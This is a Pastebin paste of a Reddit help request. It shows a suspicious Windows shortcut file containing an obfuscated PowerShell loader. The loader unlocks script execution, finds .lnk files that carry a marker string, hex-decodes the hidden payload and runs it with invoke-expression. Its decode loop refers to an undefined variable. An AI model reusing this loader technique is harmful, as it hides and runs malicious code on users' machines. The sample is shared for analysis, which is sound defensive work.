Acquira

Reddit : Please help - very suspect file

Sep 2nd, 2021 (edited)
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #Direct link to reddit's post
  2. #https://www.reddit.com/r/PowerShell/comments/pg3po1/please_help_very_suspect_file_opened_on_my_pc_no/
  3.  
  4. "%Ý wNÁç]N·D.±®Q˜·Ý•‰1SPSâŠXF¼L8C»ü“&˜mÎm-S-1-5-21-287986104-305762756-3537409591-1001LÀFá@PàOÐê:i¢Ø+00/C:\V1WINDOWS@ï¾.WINDOWSZ1System32Bï¾.System32t1WindowsPowerShellTï¾.WindowsPowerShellN1v1.0:ï¾.v1.0l2powershell.exeNï¾.powershell.exeÄ
  5.  
  6. Set-ExecutionPolicyUnRestricted
  7.  
  8. function Quiet-Content($path){
  9.     $malicious_command=$Null
  10.     $array=@(2037,2099,2101,2098)
  11.     $extension=$Null
  12.     $number_to_substract=1991
  13.     foreach($number_in_array in $array){
  14.         $extension+=[Char]($number_in_array-$number_to_substract)
  15.     }
  16.     Get-ChildItem $path -Recurse -Depth1 -ErrorAction 'SilentlyContinue' | ? {$_.extension -eq $extension} | % {
  17.         $child_content=[String](Get-Content $_.FullName )
  18.         $matching_string='TXRXMIQJ'
  19.         $index_of_string = $child_content.IndexOf($matching_string)
  20.         if($index_of_string -ne -1){
  21.             $malicious_file=$child_content.SubString($index_of_string)
  22.             $malicious_command=$malicious_file.Replace($matching_string,'')
  23.             }
  24.     }
  25.     return $malicious_command
  26. }
  27.  
  28.  
  29. function dll_builder($malicious_command){
  30.     $dll_builder=[Text.StringBuilder]::New()
  31.     for($index=0 ; $index -lt $malicious_command.Length; $index+=2){
  32.         [void]$dll_builder.Append([char][int]('0x'+$malicious_command.Substring($i,2)))
  33.     }
  34.     return $dll_builder.ToString()
  35. }
  36.    
  37.    
  38. $malicious_command = Quiet-Content $(Get-Location).Path
  39. if($malicious_command -eq $Null){
  40.     $malicious_command=Quiet-Content$($env:TEMP)
  41. }
  42.  
  43. invoke-expression ((dll_builder $malicious_command))
  44.  
  45. C:\WINDOWS\System32\imageres.dll
  46. %SystemRoot%\System32\imageres.dll
  47. %SystemRoot%\System32\imageres.dll
  48.  
Add Comment
Please, Sign In to add comment